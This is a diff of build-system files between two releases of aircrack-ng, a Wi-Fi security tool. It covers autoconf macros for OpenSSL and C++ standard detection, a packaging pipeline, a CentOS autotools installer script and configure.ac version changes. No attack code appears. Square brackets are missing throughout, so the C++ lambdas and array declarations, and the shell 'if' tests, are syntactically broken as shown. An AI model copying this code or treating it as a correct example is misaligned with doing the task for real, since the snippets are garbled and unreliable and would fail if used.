     AC_DEFINE(_LARGEFILE64_SOURCE, 1, Define this if 64-bit file access requires this define to be present)

aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_mac.m4 -> aircrack-ng-1.7.tar.gz/build/m4/aircrack_ng_mac.m4 Changed

@@ -49,23 +49,50 @@
     	dnl
         dnl Homebrew
         dnl
-		AC_ARG_VAR(BREW,Use this brew for macOS dependencies.)
-		dnl Allow env override but do not be fooled by 'BREW=t'.
-		test t = "$BREW" && unset BREW
-		AC_CHECK_PROG(BREW, brew, $as_dir/$ac_word$ac_exec_ext, , $BREW_PATH$PATH_SEPARATOR$PATH$PATH_SEPARATOR/bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR/usr/local/bin)
-		AS_IF(test "x$BREW" = "x",
-			AC_MSG_WARN(Homebrew not found)
-			BREW_FOUND=no
+
+	AC_ARG_VAR(BREW,Use this brew for macOS dependencies.)
+	dnl Allow env override but do not be fooled by 'BREW=t'.
+	test t = "$BREW" && unset BREW
+	AC_CHECK_PROG(BREW, brew, $as_dir/$ac_word$ac_exec_ext, , $BREW_PATH$PATH_SEPARATOR$PATH$PATH_SEPARATOR/bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR/usr/local/bin)
+	AS_IF(test "x$BREW" = "x",
+		AC_MSG_WARN(Homebrew not found)
+		BREW_FOUND=no
+	, 
+		BREW_FOUND=yes
+
+		AC_MSG_CHECKING(for openssl availability within Brew)
+		AS_IF(! $BREW --prefix --installed openssl 2>/dev/null, 
+			AC_MSG_RESULT(no)
+
+			AC_MSG_CHECKING(for openssl@1.1 availability within Brew)
+			AS_IF(! $BREW --prefix --installed openssl@1.1 2>/dev/null, 
+				AC_MSG_RESULT(no)
+
+				AC_MSG_CHECKING(for openssl@3 availability within Brew)
+				AS_IF(! $BREW --prefix --installed openssl@3 2>/dev/null, 
+					AC_MSG_RESULT(no)
+				, 
+					dnl AC_MSG_RESULT(yes)
+					CFLAGS="-Wno-deprecated-declarations -I$($BREW --prefix openssl@3)/include"
+					CXXFLAGS="-Wno-deprecated-declarations -I$($BREW --prefix openssl@3)/include"
+					CPPFLAGS="-Wno-deprecated-declarations -I$($BREW --prefix openssl@3)/include"
+					LDFLAGS="-L$($BREW --prefix openssl@3)/lib"
+				)
+			, 
+				dnl AC_MSG_RESULT(yes)
+				CFLAGS="-I$($BREW --prefix openssl@1.1)/include"
+				CXXFLAGS="-I$($BREW --prefix openssl@1.1)/include"
+				CPPFLAGS="-I$($BREW --prefix openssl@1.1)/include"
+				LDFLAGS="-L$($BREW --prefix openssl@1.1)/lib"
+			)
 		, 
-			BREW_FOUND=yes
+			dnl AC_MSG_RESULT(yes)
+			CFLAGS="-Wno-deprecated-declarations -I$($BREW --prefix openssl)/include"
+			CXXFLAGS="-Wno-deprecated-declarations -I$($BREW --prefix openssl)/include"
+			CPPFLAGS="-Wno-deprecated-declarations -I$($BREW --prefix openssl)/include"
+			LDFLAGS="-L$($BREW --prefix openssl)/lib"
 		)
-
-		if test "x$BREW_FOUND" = xyes; then
-			CFLAGS="$CFLAGS -I$(brew --prefix openssl)/include"
-			CXXFLAGS="$CXXFLAGS -I$(brew --prefix openssl)/include"
-			CPPFLAGS="$CPPFLAGS -I$(brew --prefix openssl)/include"
-			LDFLAGS="$LDFLAGS -L$(brew --prefix openssl)/lib"
-		fi
+	)
 
         AC_CHECK_FILE(/usr/local/Homebrew,  CPPFLAGS="$CPPFLAGS -I/usr/local/include" )

aircrack-ng-1.6.tar.gz/build/m4/aircrack_ng_simd.m4 -> aircrack-ng-1.7.tar.gz/build/m4/aircrack_ng_simd.m4 Changed

aircrack-ng-1.7.tar.gz/build/m4/ax_cxx_compile_stdcxx.m4 Added

@@ -0,0 +1,951 @@
+# ===========================================================================
+#  https://www.gnu.org/software/autoconf-archive/ax_cxx_compile_stdcxx.html
+# ===========================================================================
+#
+# SYNOPSIS
+#
+#   AX_CXX_COMPILE_STDCXX(VERSION, ext|noext, mandatory|optional)
+#
+# DESCRIPTION
+#
+#   Check for baseline language coverage in the compiler for the specified
+#   version of the C++ standard.  If necessary, add switches to CXX and
+#   CXXCPP to enable support.  VERSION may be '11' (for the C++11 standard)
+#   or '14' (for the C++14 standard).
+#
+#   The second argument, if specified, indicates whether you insist on an
+#   extended mode (e.g. -std=gnu++11) or a strict conformance mode (e.g.
+#   -std=c++11).  If neither is specified, you get whatever works, with
+#   preference for an extended mode.
+#
+#   The third argument, if specified 'mandatory' or if left unspecified,
+#   indicates that baseline support for the specified C++ standard is
+#   required and that the macro should error out if no mode with that
+#   support is found.  If specified 'optional', then configuration proceeds
+#   regardless, after defining HAVE_CXX${VERSION} if and only if a
+#   supporting mode is found.
+#
+# LICENSE
+#
+#   Copyright (c) 2008 Benjamin Kosnik <bkoz@redhat.com>
+#   Copyright (c) 2012 Zack Weinberg <zackw@panix.com>
+#   Copyright (c) 2013 Roy Stogner <roystgnr@ices.utexas.edu>
+#   Copyright (c) 2014, 2015 Google Inc.; contributed by Alexey Sokolov <sokolov@google.com>
+#   Copyright (c) 2015 Paul Norman <penorman@mac.com>
+#   Copyright (c) 2015 Moritz Klammler <moritz@klammler.eu>
+#   Copyright (c) 2016, 2018 Krzesimir Nowak <qdlacz@gmail.com>
+#   Copyright (c) 2019 Enji Cooper <yaneurabeya@gmail.com>
+#
+#   Copying and distribution of this file, with or without modification, are
+#   permitted in any medium without royalty provided the copyright notice
+#   and this notice are preserved.  This file is offered as-is, without any
+#   warranty.
+
+#serial 11
+
+dnl  This macro is based on the code from the AX_CXX_COMPILE_STDCXX_11 macro
+dnl  (serial version number 13).
+
+AC_DEFUN(AX_CXX_COMPILE_STDCXX, dnl
+  m4_if($1, 11, ax_cxx_compile_alternatives="11 0x",
+        $1, 14, ax_cxx_compile_alternatives="14 1y",
+        $1, 17, ax_cxx_compile_alternatives="17 1z",
+        m4_fatal(invalid first argument `$1' to AX_CXX_COMPILE_STDCXX))dnl
+  m4_if($2, , ,
+        $2, ext, ,
+        $2, noext, ,
+        m4_fatal(invalid second argument `$2' to AX_CXX_COMPILE_STDCXX))dnl
+  m4_if($3, , ax_cxx_compile_cxx$1_required=true,
+        $3, mandatory, ax_cxx_compile_cxx$1_required=true,
+        $3, optional, ax_cxx_compile_cxx$1_required=false,
+        m4_fatal(invalid third argument `$3' to AX_CXX_COMPILE_STDCXX))
+  AC_LANG_PUSH(C++)dnl
+  ac_success=no
+
+  m4_if($2, noext, , dnl
+  if test x$ac_success = xno; then
+    for alternative in ${ax_cxx_compile_alternatives}; do
+      switch="-std=gnu++${alternative}"
+      cachevar=AS_TR_SH(ax_cv_cxx_compile_cxx$1_$switch)
+      AC_CACHE_CHECK(whether $CXX supports C++$1 features with $switch,
+                     $cachevar,
+        ac_save_CXX="$CXX"
+         CXX="$CXX $switch"
+         AC_COMPILE_IFELSE(AC_LANG_SOURCE(_AX_CXX_COMPILE_STDCXX_testbody_$1),
+          eval $cachevar=yes,
+          eval $cachevar=no)
+         CXX="$ac_save_CXX")
+      if eval test x\$$cachevar = xyes; then
+        CXX="$CXX $switch"
+        if test -n "$CXXCPP" ; then
+          CXXCPP="$CXXCPP $switch"
+        fi
+        ac_success=yes
+        break
+      fi
+    done
+  fi)
+
+  m4_if($2, ext, , dnl
+  if test x$ac_success = xno; then
+    dnl HP's aCC needs +std=c++11 according to:
+    dnl http://h21007.www2.hp.com/portal/download/files/unprot/aCxx/PDF_Release_Notes/769149-001.pdf
+    dnl Cray's crayCC needs "-h std=c++11"
+    for alternative in ${ax_cxx_compile_alternatives}; do
+      for switch in -std=c++${alternative} +std=c++${alternative} "-h std=c++${alternative}"; do
+        cachevar=AS_TR_SH(ax_cv_cxx_compile_cxx$1_$switch)
+        AC_CACHE_CHECK(whether $CXX supports C++$1 features with $switch,
+                       $cachevar,
+          ac_save_CXX="$CXX"
+           CXX="$CXX $switch"
+           AC_COMPILE_IFELSE(AC_LANG_SOURCE(_AX_CXX_COMPILE_STDCXX_testbody_$1),
+            eval $cachevar=yes,
+            eval $cachevar=no)
+           CXX="$ac_save_CXX")
+        if eval test x\$$cachevar = xyes; then
+          CXX="$CXX $switch"
+          if test -n "$CXXCPP" ; then
+            CXXCPP="$CXXCPP $switch"
+          fi
+          ac_success=yes
+          break
+        fi
+      done
+      if test x$ac_success = xyes; then
+        break
+      fi
+    done
+  fi)
+  AC_LANG_POP(C++)
+  if test x$ax_cxx_compile_cxx$1_required = xtrue; then
+    if test x$ac_success = xno; then
+      AC_MSG_ERROR(*** A compiler with support for C++$1 language features is required.)
+    fi
+  fi
+  if test x$ac_success = xno; then
+    HAVE_CXX$1=0
+    AC_MSG_NOTICE(No compiler with C++$1 support was found)
+  else
+    HAVE_CXX$1=1
+    AC_DEFINE(HAVE_CXX$1,1,
+              define if the compiler supports basic C++$1 syntax)
+  fi
+  AC_SUBST(HAVE_CXX$1)
+)
+
+
+dnl  Test body for checking C++11 support
+
+m4_define(_AX_CXX_COMPILE_STDCXX_testbody_11,
+  _AX_CXX_COMPILE_STDCXX_testbody_new_in_11
+)
+
+
+dnl  Test body for checking C++14 support
+
+m4_define(_AX_CXX_COMPILE_STDCXX_testbody_14,
+  _AX_CXX_COMPILE_STDCXX_testbody_new_in_11
+  _AX_CXX_COMPILE_STDCXX_testbody_new_in_14
+)
+
+m4_define(_AX_CXX_COMPILE_STDCXX_testbody_17,
+  _AX_CXX_COMPILE_STDCXX_testbody_new_in_11
+  _AX_CXX_COMPILE_STDCXX_testbody_new_in_14
+  _AX_CXX_COMPILE_STDCXX_testbody_new_in_17
+)
+
+dnl  Tests for new features in C++11
+
+m4_define(_AX_CXX_COMPILE_STDCXX_testbody_new_in_11, 
+
+// If the compiler admits that it is not ready for C++11, why torture it?
+// Hopefully, this will speed up the test.
+
+#ifndef __cplusplus
+
+#error "This is not a C++ compiler"
+
+#elif __cplusplus < 201103L
+
+#error "This is not a C++11 compiler"
+
+#else
+
+namespace cxx11
+{
+
+  namespace test_static_assert
+  {
+
+    template <typename T>
+    struct check
+    {
+      static_assert(sizeof(int) <= sizeof(T), "not big enough");
+    };
+
+  }
+
+  namespace test_final_override
+  {
+
+    struct Base
+    {
+      virtual ~Base() {}
+      virtual void f() {}
+    };
+
+    struct Derived : public Base
+    {
+      virtual ~Derived() override {}
+      virtual void f() override {}
+    };
+
+  }
+
+  namespace test_double_right_angle_brackets
+  {
+
+    template < typename T >
+    struct check {};
+
+    typedef check<void> single_type;
+    typedef check<check<void>> double_type;
+    typedef check<check<check<void>>> triple_type;
+    typedef check<check<check<check<void>>>> quadruple_type;
+
+  }
+
+  namespace test_decltype
+  {
+
+    int
+    f()
+    {
+      int a = 1;
+      decltype(a) b = 2;
+      return a + b;
+    }
+
+  }
+
+  namespace test_type_deduction
+  {
+
+    template < typename T1, typename T2 >
+    struct is_same
+    {
+      static const bool value = false;
+    };
+
+    template < typename T >
+    struct is_same<T, T>
+    {
+      static const bool value = true;
+    };
+
+    template < typename T1, typename T2 >
+    auto
+    add(T1 a1, T2 a2) -> decltype(a1 + a2)
+    {
+      return a1 + a2;
+    }
+
+    int
+    test(const int c, volatile int v)
+    {
+      static_assert(is_same<int, decltype(0)>::value == true, "");
+      static_assert(is_same<int, decltype(c)>::value == false, "");
+      static_assert(is_same<int, decltype(v)>::value == false, "");
+      auto ac = c;
+      auto av = v;
+      auto sumi = ac + av + 'x';
+      auto sumf = ac + av + 1.0;
+      static_assert(is_same<int, decltype(ac)>::value == true, "");
+      static_assert(is_same<int, decltype(av)>::value == true, "");
+      static_assert(is_same<int, decltype(sumi)>::value == true, "");
+      static_assert(is_same<int, decltype(sumf)>::value == false, "");
+      static_assert(is_same<int, decltype(add(c, v))>::value == true, "");
+      return (sumf > 0.0) ? sumi : add(c, v);
+    }
+
+  }
+
+  namespace test_noexcept
+  {
+
+    int f() { return 0; }
+    int g() noexcept { return 0; }
+
+    static_assert(noexcept(f()) == false, "");
+    static_assert(noexcept(g()) == true, "");
+
+  }
+
+  namespace test_constexpr
+  {
+
+    template < typename CharT >
+    unsigned long constexpr
+    strlen_c_r(const CharT *const s, const unsigned long acc) noexcept
+    {
+      return *s ? strlen_c_r(s + 1, acc + 1) : acc;
+    }
+
+    template < typename CharT >
+    unsigned long constexpr
+    strlen_c(const CharT *const s) noexcept
+    {
+      return strlen_c_r(s, 0UL);
+    }
+
+    static_assert(strlen_c("") == 0UL, "");
+    static_assert(strlen_c("1") == 1UL, "");
+    static_assert(strlen_c("example") == 7UL, "");
+    static_assert(strlen_c("another\0example") == 7UL, "");
+
+  }
+
+  namespace test_rvalue_references
+  {
+
+    template < int N >
+    struct answer
+    {
+      static constexpr int value = N;
+    };
+
+    answer<1> f(int&)       { return answer<1>(); }
+    answer<2> f(const int&) { return answer<2>(); }
+    answer<3> f(int&&)      { return answer<3>(); }
+
+    void
+    test()
+    {
+      int i = 0;
+      const int c = 0;
+      static_assert(decltype(f(i))::value == 1, "");
+      static_assert(decltype(f(c))::value == 2, "");
+      static_assert(decltype(f(0))::value == 3, "");
+    }
+
+  }
+
+  namespace test_uniform_initialization
+  {
+
+    struct test
+    {
+      static const int zero {};
+      static const int one {1};
+    };
+
+    static_assert(test::zero == 0, "");
+    static_assert(test::one == 1, "");
+
+  }
+
+  namespace test_lambdas
+  {
+
+    void
+    test1()
+    {
+      auto lambda1 = (){};
+      auto lambda2 = lambda1;
+      lambda1();
+      lambda2();
+    }
+
+    int
+    test2()
+    {
+      auto a = (int i, int j){ return i + j; }(1, 2);
+      auto b = () -> int { return '0'; }();
+      auto c = =(){ return a + b; }();
+      auto d = &(){ return c; }();
+      auto e = a, &b(int x) mutable {
+        const auto identity = (int y){ return y; };
+        for (auto i = 0; i < a; ++i)
+          a += b--;
+        return x + identity(a + b);
+      }(0);
+      return a + b + c + d + e;
+    }
+
+    int
+    test3()
+    {
+      const auto nullary = (){ return 0; };
+      const auto unary = (int x){ return x; };
+      using nullary_t = decltype(nullary);
+      using unary_t = decltype(unary);
+      const auto higher1st = (nullary_t f){ return f(); };
+      const auto higher2nd = unary(nullary_t f1){
+        return unary, f1(unary_t f2){ return f2(unary(f1())); };
+      };
+      return higher1st(nullary) + higher2nd(nullary)(unary);
+    }
+
+  }
+
+  namespace test_variadic_templates
+  {
+
+    template <int...>
+    struct sum;
+
+    template <int N0, int... N1toN>
+    struct sum<N0, N1toN...>
+    {
+      static constexpr auto value = N0 + sum<N1toN...>::value;
+    };
+
+    template <>
+    struct sum<>
+    {
+      static constexpr auto value = 0;
+    };
+
+    static_assert(sum<>::value == 0, "");
+    static_assert(sum<1>::value == 1, "");
+    static_assert(sum<23>::value == 23, "");
+    static_assert(sum<1, 2>::value == 3, "");
+    static_assert(sum<5, 5, 11>::value == 21, "");
+    static_assert(sum<2, 3, 5, 7, 11, 13>::value == 41, "");
+
+  }
+
+  // http://stackoverflow.com/questions/13728184/template-aliases-and-sfinae
+  // Clang 3.1 fails with headers of libstd++ 4.8.3 when using std::function
+  // because of this.
+  namespace test_template_alias_sfinae
+  {
+
+    struct foo {};
+
+    template<typename T>
+    using member = typename T::member_type;
+
+    template<typename T>
+    void func(...) {}
+
+    template<typename T>
+    void func(member<T>*) {}
+
+    void test();
+
+    void test() { func<foo>(0); }
+
+  }
+
+}  // namespace cxx11
+
+#endif  // __cplusplus >= 201103L
+
+)
+
+
+dnl  Tests for new features in C++14
+
+m4_define(_AX_CXX_COMPILE_STDCXX_testbody_new_in_14, 
+
+// If the compiler admits that it is not ready for C++14, why torture it?
+// Hopefully, this will speed up the test.
+
+#ifndef __cplusplus
+
+#error "This is not a C++ compiler"
+
+#elif __cplusplus < 201402L
+
+#error "This is not a C++14 compiler"
+
+#else
+
+namespace cxx14
+{
+
+  namespace test_polymorphic_lambdas
+  {
+
+    int
+    test()
+    {
+      const auto lambda = (auto&&... args){
+        const auto istiny = (auto x){
+          return (sizeof(x) == 1UL) ? 1 : 0;
+        };
+        const int aretiny = { istiny(args)... };
+        return aretiny0;
+      };
+      return lambda(1, 1L, 1.0f, '1');
+    }
+
+  }
+
+  namespace test_binary_literals
+  {
+
+    constexpr auto ivii = 0b0000000000101010;
+    static_assert(ivii == 42, "wrong value");
+
+  }
+
+  namespace test_generalized_constexpr
+  {
+
+    template < typename CharT >
+    constexpr unsigned long
+    strlen_c(const CharT *const s) noexcept
+    {
+      auto length = 0UL;
+      for (auto p = s; *p; ++p)
+        ++length;
+      return length;
+    }
+
+    static_assert(strlen_c("") == 0UL, "");
+    static_assert(strlen_c("x") == 1UL, "");
+    static_assert(strlen_c("test") == 4UL, "");
+    static_assert(strlen_c("another\0test") == 7UL, "");
+
+  }
+
+  namespace test_lambda_init_capture
+  {
+
+    int
+    test()
+    {
+      auto x = 0;
+      const auto lambda1 = a = x(int b){ return a + b; };
+      const auto lambda2 = a = lambda1(x)(){ return a; };
+      return lambda2();
+    }
+
+  }
+
+  namespace test_digit_separators
+  {
+
+    constexpr auto ten_million = 100'000'000;
+    static_assert(ten_million == 100000000, "");
+
+  }
+
+  namespace test_return_type_deduction
+  {
+
+    auto f(int& x) { return x; }
+    decltype(auto) g(int& x) { return x; }
+
+    template < typename T1, typename T2 >
+    struct is_same
+    {
+      static constexpr auto value = false;
+    };
+
+    template < typename T >
+    struct is_same<T, T>
+    {
+      static constexpr auto value = true;
+    };
+
+    int
+    test()
+    {
+      auto x = 0;
+      static_assert(is_same<int, decltype(f(x))>::value, "");
+      static_assert(is_same<int&, decltype(g(x))>::value, "");
+      return x;
+    }
+
+  }
+
+}  // namespace cxx14
+
+#endif  // __cplusplus >= 201402L
+
+)
+
+
+dnl  Tests for new features in C++17
+
+m4_define(_AX_CXX_COMPILE_STDCXX_testbody_new_in_17, 
+
+// If the compiler admits that it is not ready for C++17, why torture it?
+// Hopefully, this will speed up the test.
+
+#ifndef __cplusplus
+
+#error "This is not a C++ compiler"
+
+#elif __cplusplus < 201703L
+
+#error "This is not a C++17 compiler"
+
+#else
+
+#include <initializer_list>
+#include <utility>
+#include <type_traits>
+
+namespace cxx17
+{
+
+  namespace test_constexpr_lambdas
+  {
+
+    constexpr int foo = (){return 42;}();
+
+  }
+
+  namespace test::nested_namespace::definitions
+  {
+
+  }
+
+  namespace test_fold_expression
+  {
+
+    template<typename... Args>
+    int multiply(Args... args)
+    {
+      return (args * ... * 1);
+    }
+
+    template<typename... Args>
+    bool all(Args... args)
+    {
+      return (args && ...);
+    }
+
+  }
+
+  namespace test_extended_static_assert
+  {
+
+    static_assert (true);
+
+  }
+
+  namespace test_auto_brace_init_list
+  {
+
+    auto foo = {5};
+    auto bar {5};
+
+    static_assert(std::is_same<std::initializer_list<int>, decltype(foo)>::value);
+    static_assert(std::is_same<int, decltype(bar)>::value);
+  }
+
+  namespace test_typename_in_template_template_parameter
+  {
+
+    template<template<typename> typename X> struct D;
+
+  }
+
+  namespace test_fallthrough_nodiscard_maybe_unused_attributes
+  {
+
+    int f1()
+    {
+      return 42;
+    }
+
+    nodiscard int f2()
+    {
+      maybe_unused auto unused = f1();
+
+      switch (f1())
+      {
+      case 17:
+        f1();
+        fallthrough;
+      case 42:
+        f1();
+      }
+      return f1();
+    }
+
+  }
+
+  namespace test_extended_aggregate_initialization
+  {
+
+    struct base1
+    {
+      int b1, b2 = 42;
+    };
+
+    struct base2
+    {
+      base2() {
+        b3 = 42;
+      }
+      int b3;
+    };
+
+    struct derived : base1, base2
+    {
+        int d;
+    };
+
+    derived d1 {{1, 2}, {}, 4};  // full initialization
+    derived d2 {{}, {}, 4};      // value-initialized bases
+
+  }
+
+  namespace test_general_range_based_for_loop
+  {
+
+    struct iter
+    {
+      int i;
+
+      int& operator* ()
+      {
+        return i;
+      }
+
+      const int& operator* () const
+      {
+        return i;
+      }
+
+      iter& operator++()
+      {
+        ++i;
+        return *this;
+      }
+    };
+
+    struct sentinel
+    {
+      int i;
+    };
+
+    bool operator== (const iter& i, const sentinel& s)
+    {
+      return i.i == s.i;
+    }
+
+    bool operator!= (const iter& i, const sentinel& s)
+    {
+      return !(i == s);
+    }
+
+    struct range
+    {
+      iter begin() const
+      {
+        return {0};
+      }
+
+      sentinel end() const
+      {
+        return {5};
+      }
+    };
+
+    void f()
+    {
+      range r {};
+
+      for (auto i : r)
+      {
+        maybe_unused auto v = i;
+      }
+    }
+
+  }
+
+  namespace test_lambda_capture_asterisk_this_by_value
+  {
+
+    struct t
+    {
+      int i;
+      int foo()
+      {
+        return *this()
+        {
+          return i;
+        }();
+      }
+    };
+
+  }
+
+  namespace test_enum_class_construction
+  {
+
+    enum class byte : unsigned char
+    {};
+
+    byte foo {42};
+
+  }
+
+  namespace test_constexpr_if
+  {
+
+    template <bool cond>
+    int f ()
+    {
+      if constexpr(cond)
+      {
+        return 13;
+      }
+      else
+      {
+        return 42;
+      }
+    }
+
+  }
+
+  namespace test_selection_statement_with_initializer
+  {
+
+    int f()
+    {
+      return 13;
+    }
+
+    int f2()
+    {
+      if (auto i = f(); i > 0)
+      {
+        return 3;
+      }
+
+      switch (auto i = f(); i + 4)
+      {
+      case 17:
+        return 2;
+
+      default:
+        return 1;
+      }
+    }
+
+  }
+
+  namespace test_template_argument_deduction_for_class_templates
+  {
+
+    template <typename T1, typename T2>
+    struct pair
+    {
+      pair (T1 p1, T2 p2)
+        : m1 {p1},
+          m2 {p2}
+      {}
+
+      T1 m1;
+      T2 m2;
+    };
+
+    void f()
+    {
+      maybe_unused auto p = pair{13, 42u};
+    }
+
+  }
+
+  namespace test_non_type_auto_template_parameters
+  {
+
+    template <auto n>
+    struct B
+    {};
+
+    B<5> b1;
+    B<'a'> b2;
+
+  }
+
+  namespace test_structured_bindings
+  {
+
+    int arr2 = { 1, 2 };
+    std::pair<int, int> pr = { 1, 2 };
+
+    auto f1() -> int(&)2
+    {
+      return arr;
+    }
+
+    auto f2() -> std::pair<int, int>&
+    {
+      return pr;
+    }
+
+    struct S
+    {
+      int x1 : 2;
+      volatile double y1;
+    };
+
+    S f3()
+    {
+      return {};
+    }
+
+    auto  x1, y1  = f1();
+    auto&  xr1, yr1  = f1();
+    auto  x2, y2  = f2();
+    auto&  xr2, yr2  = f2();
+    const auto  x3, y3  = f3();
+
+  }
+
+  namespace test_exception_spec_type_system
+  {
+
+    struct Good {};
+    struct Bad {};
+
+    void g1() noexcept;
+    void g2();
+
+    template<typename T>
+    Bad
+    f(T*, T*);
+
+    template<typename T1, typename T2>
+    Good
+    f(T1*, T2*);
+
+    static_assert (std::is_same_v<Good, decltype(f(g1, g2))>);
+
+  }
+
+  namespace test_inline_variables
+  {
+
+    template<class T> void f(T)
+    {}
+
+    template<class T> inline T g(T)
+    {
+      return T{};
+    }
+
+    template<> inline void f<>(int)
+    {}
+
+    template<> int g<>(int)
+    {
+      return 5;
+    }
+
+  }
+
+}  // namespace cxx17
+
+#endif  // __cplusplus < 201703L
+
+)

aircrack-ng-1.6.tar.gz/build/pipelines/package.yaml -> aircrack-ng-1.7.tar.gz/build/pipelines/package.yaml Changed

@@ -254,17 +254,7 @@
               when: "matrix_tag == 'deb'"
               matrix:
                 tags:
-                  - debian/jessie
-                  - debian/stretch
-                  - debian/buster
-                  - elementaryos/loki
-                  - linuxmint/sylvia
-                  - linuxmint/tara
-                  - linuxmint/tessa
-                  - raspbian/buster
-                  - ubuntu/xenial
-                  - ubuntu/bionic
-                  - ubuntu/cosmic
+                  - any/any
                 tasks:
                   - command: "package_cloud push --yes aircrack-ng/git/{{ matrix_tag }} {{ item.pkg }}"
                     with_items: "{{ pkg | selectattr('pkg_type', 'equalto', 'deb') | list }}"
@@ -277,18 +267,7 @@
               when: "matrix_tag == 'rpm'"
               matrix:
                 tags:
-                  - el/7
-                  - fedora/27
-                  - fedora/28
-                  - fedora/29
-                  - opensuse/42.1
-                  - opensuse/42.2
-                  - opensuse/42.3
-                  - sles/12.0
-                  - sles/12.1
-                  - sles/12.2
-                  - sles/12.3
-                  - sles/15.0
+                  - rpm_any/rpm_any
                 tasks:
                   - command: "package_cloud push --yes aircrack-ng/git/{{ matrix_tag }} {{ item.pkg }}"
                     with_items: "{{ pkg | selectattr('pkg_type', 'equalto', 'rpm') | list }}"

aircrack-ng-1.6.tar.gz/build/pvs-studio.sh -> aircrack-ng-1.7.tar.gz/build/pvs-studio.sh Changed

aircrack-ng-1.6.tar.gz/centos_autotools.sh -> aircrack-ng-1.7.tar.gz/centos_autotools.sh Changed

@@ -1,38 +1,45 @@
 #!/bin/sh
+# Install newer version of autotools, automake, libtool, and pkgconfig on CentOS 7
 
-AUTO_INSTALL=0
+if  ! -f /etc/os-release ; then
+	echo 'os-release not present, aborting'
+	exit 1
+fi
 
-is_installed() {
-	yum list installed $1 >/dev/null 2>/dev/null
-	if  $? -eq 1 ; then
-		if  ${AUTO_INSTALL} -eq 1 ; then
-			yum install $1
-			if  $? -ne 0 ; then
-				echo "Failed installing $1, aborting"
-				exit 1
-			fi
-		else
-			echo "$1 is missing"
-			exit 1
-		fi
-	fi
-}
+. /etc/os-release
 
-is_installed epel-release
-is_installed tar
-is_installed wget
-is_installed glib2-devel
-is_installed gcc
-is_installed g++
-is_installed make
+# Untested on Red Hat
+if  "x${ID}" != 'xcentos'  &&  "x${ID}" != 'xredhat' ; then
+	echo 'OS is not CentOS or Red Hat, aborting'
+	exit 1
+fi
+
+if  "x${VERSION_ID}" != 'x7' ; then
+	echo "Invalid CentOS/Red Hat version. Expected 7, got ${VERSION_ID}, aborting"
+	exit 1
+fi
+
+yum install epel-release
+
+# Install packages if not already present
+# Yeah, automake is required to build a newer version of automake
+PACKAGES="tar glib2-devel gcc gcc-c++ make m4 perl-Data-Dumper help2man automake"
+NB_INSTALLED_PKG=$(yum list install ${PACKAGES} | sed -n '/Installed Packages/,$p' | wc -l)
+# Count includes the "Installed Packages" line, so decreasing count by 1
+NB_INSTALLED_PKG=$((NB_INSTALLED_PKG-1))
+NB_PKG=$(echo ${PACKAGES} | wc -w)
+ ${NB_PKG} -ne ${NB_INSTALLED_PKG}  && yum install ${PACKAGES}
 
 autoconf_version=2.69
 automake_version=1.16.1
 libtool_version=2.4.6
 pkgconf_version=0.29
 
+TMP_DIR=$(mktemp -d)
+cd ${TMP_DIR}
+
 echo "Installing autoconf ${autoconf_version}"
-wget http://ftp.gnu.org/gnu/autoconf/autoconf-${autoconf_version}.tar.xz \
+curl -L http://ftp.gnu.org/gnu/autoconf/autoconf-${autoconf_version}.tar.xz > autoconf-${autoconf_version}.tar.xz \
  && tar xJf autoconf-${autoconf_version}.tar.xz \
  && cd autoconf-${autoconf_version} \
  && ./configure --prefix=/usr/local \
@@ -40,9 +47,9 @@
  && make install \
  && cd ..
 
-
+# Requires autoconf 2.65+
 echo "Installing automake ${automake_version}"
-wget http://ftp.gnu.org/gnu/automake/automake-${automake_version}.tar.xz \
+curl -L http://ftp.gnu.org/gnu/automake/automake-${automake_version}.tar.xz > automake-${automake_version}.tar.xz \
  && tar xJf automake-${automake_version}.tar.xz \
  && cd automake-${automake_version} \
  && ./configure --prefix=/usr/local \
@@ -51,7 +58,7 @@
  && cd ..
 
 echo "Installing libtool ${libtool_version}"
-wget http://ftp.gnu.org/gnu/libtool/libtool-${libtool_version}.tar.xz \
+curl -L http://ftp.gnu.org/gnu/libtool/libtool-${libtool_version}.tar.xz > libtool-${libtool_version}.tar.xz \
  && tar xJf libtool-${libtool_version}.tar.xz \
  && cd libtool-${libtool_version} \
  && ./configure --prefix=/usr/local \
@@ -60,7 +67,7 @@
  && cd ..
 
 echo "Installing pkg-config ${pkgconf_version}"
-wget https://pkg-config.freedesktop.org/releases/pkg-config-${pkgconf_version}.tar.gz \
+curl -L https://pkg-config.freedesktop.org/releases/pkg-config-${pkgconf_version}.tar.gz > pkg-config-${pkgconf_version}.tar.gz \
  && tar xzf pkg-config-${pkgconf_version}.tar.gz \
  && cd pkg-config-${pkgconf_version} \
  && ./configure --prefix=/usr/local --libdir=/usr/lib64 \

aircrack-ng-1.6.tar.gz/configure.ac -> aircrack-ng-1.7.tar.gz/configure.ac Changed

@@ -1,6 +1,6 @@
 # Aircrack-ng
 #
-# Copyright (C) 2017-2020 Joseph Benden <joe@benden.us>
+# Copyright (C) 2017-2022 Joseph Benden <joe@benden.us>
 #
 # Autotool support was written by: Joseph Benden <joe@benden.us>
 #
@@ -37,9 +37,10 @@
 # If you delete this exception statement from all source files in the
 # program, then also delete it here.
 
-m4_define(version_date, "January 2020")
+m4_pattern_allow(AC_VERSION)
+m4_define(version_date, "May 2022")
 m4_define(version_major, 1)
-m4_define(version_minor, 6)
+m4_define(version_minor, 7)
 m4_define(version_micro, 0)
 m4_define(version_beta,  0)
 m4_define(version_rc,    0)
@@ -67,7 +68,7 @@
 AC_CONFIG_HEADERS(config.h)
 
 AM_INIT_AUTOMAKE(1.14 dist-bzip2 dist-zip foreign subdir-objects)
-AM_MAINTAINER_MODE(enable)
+AM_MAINTAINER_MODE(disable)
 AC_SUBST(ACLOCAL_AMFLAGS, "-I build/m4/stubs -I build/m4 \${ACLOCAL_FLAGS}")
 
 m4_ifdef(AM_SILENT_RULES, AM_SILENT_RULES(yes))
@@ -84,10 +85,20 @@
 #
 AIRCRACK_NG_PROG_CC
 AIRCRACK_NG_PROG_CXX
+AX_CXX_COMPILE_STDCXX(17, ext, optional)
+if test "$HAVE_CXX17" = "0"; then
+    AX_CXX_COMPILE_STDCXX(14, ext, optional)
+    if test "$HAVE_CXX14" = "0"; then
+        AX_CXX_COMPILE_STDCXX(11, ext, mandatory)
+    fi
+fi
 AC_PROG_INSTALL
 AM_PROG_AS
 PKG_PROG_PKG_CONFIG
 AM_PROG_CC_C_O
+AC_C_CONST
+AC_HEADER_STDC
